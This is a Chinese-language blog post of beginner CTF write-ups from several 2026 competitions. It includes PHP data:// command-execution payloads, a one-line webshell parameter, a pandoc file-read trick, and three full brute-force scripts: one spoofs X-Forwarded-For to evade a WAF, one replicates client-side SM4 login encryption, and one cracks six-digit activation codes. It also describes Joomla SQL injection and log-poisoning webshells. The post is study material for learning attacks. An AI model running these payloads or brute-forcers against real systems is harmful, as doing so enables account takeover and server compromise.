最近的一些比赛

最近新人赛还挺多的,都集中在这几天,做的还是满赶的,还好我也不是正经打比赛的,就是练习的,不是很着急。不得不说比赛和平时刷题还是不一样的,还有一个本校的hgame2026,这个因为还没结束,还不能放出wp

阿里云CTF2026

这个比赛就做了一个签到,后面的就不是我这个菜鸟能碰瓷的了

Easy Login

把源码交给Gemini分析

然后先用正常网址让visit访问,然后再构造cookie

vnctf2026

signin

php代码审计

根据ai给的引导,我们先构造一个短标签+data协议

1
data:,<?=`ls`;

成功执行了,现在找flag就行了,同时注意payload长度

然后思路是用一句话木马

1
data:,<?=`$_GET[a]`;&a=ls /

也是成功绕过了,拿到了flag

这个题目难度对于老手来说肯定很简单,毕竟签到题,对我们这样的新手来说要熟悉php源码,并且知道data协议不用//也可以

渗透测试

访问是一个登录页面,题目还给了一个password附件,可能是爆破,登录的请求包应该是做了加密处理的

base64解码之后发现是p,q,n,一开始想的是rsa,但是后面又否定,因为pq都是计算私钥用的东西,怎么是自己提供给服务器,然后将js文件发给Gemini,得到结果

好家伙,这就很难搞了,我一直对js一窍不通,后面还是让Gemini先写一个脚本试试,但是不知道是加密方式有问题还是怎么,反正服务端返回something went wrong,搞得我只能用webdriver开启模拟浏览器,然后一个个密码输入进去,模拟点击登录,同时还要限制速率,不然服务端会提示hacker,花了我好几个小时,总算是弄出来了

爆破脚本在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import random
import time
import threading
from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm
from selenium import webdriver
from selenium.webdriver.common.by import By

# ================= 配置区 =================
TARGET_URL = "http://114.66.24.228:31046/"
USERNAME = "admin"
THREAD_COUNT = 3
STOP_EVENT = threading.Event()


# ================= 核心工作函数 =================

def get_random_ip() :
return f"{random.randint( 1 , 255 )}.{random.randint( 1 , 255 )}.{random.randint( 1 , 255 )}.{random.randint( 1 , 255 )}"


def worker(password_list , pbar) :
if STOP_EVENT.is_set() :
return

# 使用标准 Selenium
options = webdriver.ChromeOptions()
# options.add_argument("--headless")
driver = webdriver.Chrome( options=options )

driver.get( TARGET_URL )

try :
for pwd in password_list :
if STOP_EVENT.is_set() :
break

try :
# --- 关键:利用 CDP 协议在发包前修改 Header ---
# 这种方法不依赖任何第三方库,直接控制 Chrome 内核
random_ip = get_random_ip()
driver.execute_cdp_cmd( 'Network.enable' , {} )
driver.execute_cdp_cmd( 'Network.setExtraHTTPHeaders' , {
'headers' : {'X-Forwarded-For' : random_ip}
} )

# 定位元素
user_box = driver.find_element( By.CSS_SELECTOR , "input[type='text']" )
pass_box = driver.find_element( By.CSS_SELECTOR , "input[type='password']" )
login_btn = driver.find_element( By.TAG_NAME , "button" )
result_label = driver.find_element( By.ID , "result" )

# 输入与点击
user_box.clear()
user_box.send_keys( USERNAME )
pass_box.clear()
pass_box.send_keys( pwd )
login_btn.click()

# 等待回包
time.sleep( 0.6 )
status = result_label.text.strip()

if "hacker" in status.lower() :
pbar.write( f"[!] 触发 WAF (hacker!) - 正在使用 IP: {random_ip}" )
time.sleep( 1.5 )
continue

if "login failed!" in status :
pbar.update( 1 )
continue

# 成功判断
if status and "login failed!" not in status :
STOP_EVENT.set()
pbar.write( f"\n\n{'=' * 50}\n[SUCCESS] 密码正确: {pwd}\n[RESULT]: {status}\n{'=' * 50}" )
break

except Exception :
driver.get( TARGET_URL )
time.sleep( 1 )
continue
finally :
driver.quit()


def brute_force() :
# 读取字典
with open( 'password' , 'r' ) as f :
passwords = [ line.strip() for line in f if line.strip() ]

# 置顶已知可能的密码
target_pwd = "QQr0T7AvjtaSxFbiqv3yv7zw"
if target_pwd in passwords :
passwords.remove( target_pwd )
passwords.insert( 0 , target_pwd )

total = len( passwords )
chunk_size = (total // THREAD_COUNT) + 1
password_chunks = [ passwords[ i :i + chunk_size ] for i in range( 0 , total , chunk_size ) ]

pbar = tqdm( total=total , desc="CDP-Bruting" , unit="pwd" , dynamic_ncols=True )

with ThreadPoolExecutor( max_workers=THREAD_COUNT ) as executor :
futures = [ executor.submit( worker , chunk , pbar ) for chunk in password_chunks ]
for future in futures :
future.result()

pbar.close()


if __name__ == "__main__" :
brute_force()

运行该脚本需要本地安装了chrome的webdriver,且版本需要对应上

做完第二天,在群里听了大佬的指导后,将js脚本反混淆一下给ai,成功写出了一个可爆破的脚本,这个脚本不管什么时候都可以用,不过就是没有解密响应体,要自己去浏览器输出得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import json
import base64
import hashlib
import requests
import time
import binascii
import uuid
from gmssl import sm4

# ==============================================================================
# 🔴 必填区域:请填入你刚才在浏览器控制台 getFinalPackage() 捕获到的值
# ==============================================================================

# 1. 捕获到的 Key (32位 Hex)
CAPTURED_KEY = "6a8d6af94060a07eba08f741ffc17fd3"

# 2. 捕获到的 IV (32位 Hex)
CAPTURED_IV = "8d1061d89dd8983672d10a3c96647a54"

# 3. 捕获到的 Payload 里的 q 值 (SM2密文,非常长的那一段)
# 注意:是从抓到的 json 里的 "q": "..." 里面复制出来,不要带引号
CAPTURED_Q = "367086fd33ab79866dca19f3bab3db2878cf797c9bc91039f0d06d149737499f3ccf261bff08d2de1ea16cf097752920a25db59c1e623dfbef0549c14bc1315b1666abc86b54e1ba838e49630933bd424ab762587386adb6aa6c7e7c2af0d3916a4a4d332f4f02a65156c448fa8678b692d42c4cf064ed150748c5e59c25c44ff0dd2a7402dd15133acd0b10760b14aa45df951f189f993a55edbf2c3e5089ac9e262abba9be8e9261799e22b596d17c8737"

# ==============================================================================
# 🟢 配置区域 (固定值)
# ==============================================================================
SALT = "|Infernity|"
TARGET_URL = "http://114.66.24.228:33336/login" # 确认端口

# 转换 Key 为二进制
KEY_BYTES = binascii.unhexlify( CAPTURED_KEY )
IV_BYTES = binascii.unhexlify( CAPTURED_IV )


def sm4_encrypt(plain_text) :
"""SM4 CBC 加密"""
crypt_sm4 = sm4.CryptSM4()
crypt_sm4.set_key( KEY_BYTES , sm4.SM4_ENCRYPT )
# gmssl 自动处理 PKCS7 填充
encrypt_value = crypt_sm4.crypt_cbc( IV_BYTES , plain_text.encode() )
return encrypt_value.hex()


def sm4_decrypt(b64_cipher) :
"""SM4 CBC 解密"""
try :
cipher_bytes = base64.b64decode( b64_cipher )
crypt_sm4 = sm4.CryptSM4()
crypt_sm4.set_key( KEY_BYTES , sm4.SM4_DECRYPT )
decrypt_value = crypt_sm4.crypt_cbc( IV_BYTES , cipher_bytes )
return decrypt_value.decode( 'utf-8' , errors='ignore' )
except :
return None


def solve() :
# 0. 准备固定的 KeyIvJson (用于 MD5 校验)
# 必须无空格,与 JS 生成的一致
key_iv_dict = {"key" : CAPTURED_KEY , "iv" : CAPTURED_IV}
key_iv_json = json.dumps( key_iv_dict , separators=(',' , ':') )

print( f"[*] 使用固定 Q 值爆破" )
print( f"[*] Key: {CAPTURED_KEY}" )
print( f"[*] IV: {CAPTURED_IV}" )

# 1. 读取字典
try :
with open( 'password' , 'r' ) as f :
passwords = [ line.strip() for line in f if line.strip() ]
except :
print( "[-] 错误:找不到 password 文件" )
return

print( f"[*] 开始爆破 {len( passwords )} 个密码..." )

# 2. 循环爆破
for pwd in passwords :
# 构造 UserInfo
# 严格遵循 Hook 到的字段顺序: userName -> passWord -> timeStamp -> TOKEN
# 注意:timeStamp 使用当前时间,TOKEN 模拟 MD5 格式
user_info = {
"userName" : "admin" ,
"passWord" : pwd ,
"timeStamp" : int( time.time() * 1000 ) ,
"TOKEN" : hashlib.md5( str( uuid.uuid4() ).encode() ).hexdigest()
}
# 序列化 (去空格)
user_info_json = json.dumps( user_info , separators=(',' , ':') )

# 生成 p (加密新的 user_info)
p_val = sm4_encrypt( user_info_json )

# 生成 n (计算新的校验值)
# 公式: UserInfo + Salt + KeyIv
n_source = user_info_json + SALT + key_iv_json
n_val = hashlib.md5( n_source.encode() ).hexdigest()

# 组装 Payload (q 是固定的)
final_payload = {
"p" : p_val ,
"q" : CAPTURED_Q ,
"n" : n_val
}
final_b64 = base64.b64encode( json.dumps( final_payload , separators=(',' , ':') ).encode() ).decode()
#print("pwd:"+pwd)
# 发包
try :
# 必须带上正确的 Header,否则可能触发 500
headers = {
"Content-Type" : "text/plain" ,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" ,
"Referer" : "http://114.66.24.228:33336/"
}
resp = requests.post( TARGET_URL , data=final_b64 , headers=headers )
#print(resp.text)
body=resp.text
# 结果分析
if int(resp.headers.get('Content-Length')) >=100 :
print( f"\n\n{'=' * 50}\n[SUCCESS] 密码正确: {pwd}\n[RESULT]: {body}\n{'=' * 50}" )
break

except Exception as e :
pass


if __name__ == "__main__" :
solve()

Markdown2world

访问之后是一个文档转换器,然后问了ai之后,一开始让转换成html试试能不能任意文件读取,发现不行。然后又试试可不可以参数注入,也不行,然后Gemini继续说到pandoc有一个特性

试了一下之后发现可行,在word/media下有一个.so文件

打开之后发现里面正是/etc/passwd的内容,那就只要猜一下flag的目录即可

1
2
3
4
![f1](/flag)
![f2](/flag.txt)
![f3](/app/flag)
![f4](/home/ctf/flag)

再次提交之后也是成功得到flag

破阵阁训练赛

这个比赛挺适合新手的,就是刚开始的时候容器打不开,比赛还只有3小时

最简单的Web安全入门


id加引号有报错,直接sqlmap一把梭

安全牛的ERP

访问之后是登录页面,试了常见的弱口令无果,然后来扫路径

发现一个api文档页面,测试了一下好像没啥用,没办法注册新用户,应该还是要往路径绕过这方面去想,在Gemini的多个测试payload下成功绕过

其实一开始就测试了../,但是可能是直接在浏览器输入的原因,没有绕过,现在在yakit试了一下直接成功了

激进的开发者

根据这个描述,先扫一波目录试试

config.php无内容,可能需要参数,但是目前还不知道,先注册账号试试

登录上之后疑似有注入点,sqlmap嗦一把看看

登上去之后有个文件上传点,可以直接上传webshell

看来一句话木马不行了,要上蚁剑才行,好吧,是我想多了,flag在/home/www-data目录下

贼牛掰的身份鉴权,还怕在失陷?

访问之后是登录,登录失败会给一个普通用户的账号,登录之后抓包能看到token,结合题目描述,应该是jwt伪造

然后拿去伪造一个admin的token

然后拿到flag

小小的挑战

在路径中的htaccess.txt中可以看到这是joomla

其实熟悉的人看到这些路径应该就能猜出来这是joomla

然后可以用/administrator/manifests/files/joomla.xml路径判断joomla的具体版本

有了具体版本就好办了,直接搜该版本对应的exp就行

在这个文件中给了具体点,sqlmap命令都给了,直接照着运行即可,但是到后面爆数据的时候遇到问题了,这个里面的表全是#__开头,这导致sqlmap不太好跑,我这里用Gemini给的payload手工编码之后再注入

得到hash,然后kali爆破一下

1
$2y$10$1XJmZJy0fG3u6LaYOj3n5eB8j6gocddi1c4rieSQ1VbgxTxWBGtGa

然后去/administrator/index.php登录管理员后台,然后在template处添加模板

然后读取flag即可

遗忘的调试信息

根据介绍,还是扫一下目录

这题得多找字典扫

然后在这个目录下一个个翻,找到有一个info.php有一个文件包含的功能

现在有2个思路,一个是根据推测,flag文件应该是在/home/www-data/flag,读取即可,还有一个就是往日志中写入一句话木马,然后用这个info.php来包含

然后就是可以在一句话木马里面,在命令执行的前后输出一点特殊符号,不然找起来很麻烦

有点限制,但不多


根据题目描述,应该是要绕过什么

扫目录扫出这些

然后我们注册账号,注册账号的时候要邮箱和其他display name要稍微长一点,不然登录不成功,当用同样的信息注册的时候提示邮箱已被使用就是成功了,然后登录提示账号未激活,要6位激活码,而正好激活页面需要userid和激活码

而userid可以在主页测出来

那就是爆破激活码了,然后要注意的点是本次响应包中的token要作为下次爆破时参数里的token,爆破脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import re
from tqdm import tqdm

# ================= 配置区 =================
BASE_URL = "http://175.27.169.122:56858"
ACTIVATE_URL = f"{BASE_URL}/activate.php"
USER_ID = "14" # 你的用户ID

# 填入你当前的 Cookie
COOKIES = {
"joomla_user_state" : "logged_in" ,
"joomla_remember_me_30166589d367bfdbe43cc3254602628c" : "uz80UeRF5loDQe4f.VvBTLOKTKl765S7znfCc" ,
"460ada11b31d3c5e5ca6e58fd5d3de27" : "590c2000212f07d77f838c8d19d7bff7" ,
"6f12c8b01052b36ca2996b535ee18e8d" : "d75f5e0706132dc3e9a4a675691a3c3e" ,
"PHPSESSID" : "f5fd35f4fde42898ee1c56e97507a403" ,
"user" : "test" ,
"pass" : "7110eda4d09e062aa5e4a390b0a572ac0d2c0220"
}

HEADERS = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" ,
"Referer" : ACTIVATE_URL ,
"Content-Type" : "application/x-www-form-urlencoded"
}


# ==========================================

def get_token(html) :
"""使用正则从 HTML 中提取隐藏的 token"""
# 匹配 <input type='hidden' name='token' value='...'>
match = re.search( r"name='token' value='(.*?)'" , html )
if match :
return match.group( 1 )
return None


def solve() :
session = requests.Session()
# 将预设的 Cookie 加入 Session
for k , v in COOKIES.items() :
session.cookies.set( k , v )

# 1. 访问页面获取初始 Token
print( "[*] 正在获取初始 Token..." )
res = session.get( ACTIVATE_URL , headers=HEADERS )
current_token = get_token( res.text )

if not current_token :
print( "[-] 无法获取初始 Token,请检查网络或 Cookie" )
return

print( f"[+] 初始 Token: {current_token}" )

# 2. 开始爆破 000000 - 999999
# 你可以根据需要调整范围
for i in tqdm( range( 1000000 ) , desc="Brute Forcing" ) :
code = str( i ).zfill( 6 ) # 格式化为 6 位数字,如 000123

data = {
"userid" : USER_ID ,
"activation_code" : code ,
"token" : current_token
}

try :
# 发送 POST 请求
resp = session.post( ACTIVATE_URL , data=data , headers=HEADERS )

# 3. 结果判断
# 如果激活成功,通常页面会跳转,或者不包含 "failed" 关键字
# 你需要根据实际成功的返回特征修改这里的判断逻辑
if resp.status_code!=403 :
print( f"\n\n[SUCCESS] 爆破成功!" )
print( f"[*] 激活码: {code}" )
print( f"[*] 响应内容: {resp.text}" ) # 打印前200字符
break

# 4. 【关键】获取下一个包所需的 Token
# 服务器在响应体中会给出下一次操作的隐藏 token
current_token = get_token( resp.text )

if not current_token :
# 如果没拿到 token,可能是请求太快被封了或者 Session 失效
tqdm.write( f"[!] 警告:在尝试 {code} 时未获取到新 Token,正在重新获取..." )
res = session.get( ACTIVATE_URL , headers=HEADERS )
current_token = get_token( res.text )

except Exception as e :
tqdm.write( f"[!] 网络错误: {e}" )
continue


if __name__ == "__main__" :
solve()

然后在管理员主页源码中可以看到hash,是sha-1,拿去解密即可

解密登上管理员账号有一个执行命令的入口,这个入口就是blacklist.txt的限制点

然后根据如此绕过即可,因为我没解密出密码来,就没办法去试了,但是思路应该是这样的


最近的一些比赛
https://rightevil.github.io/最近的一些比赛/
作者
rightevil
发布于
2026年2月4日
许可协议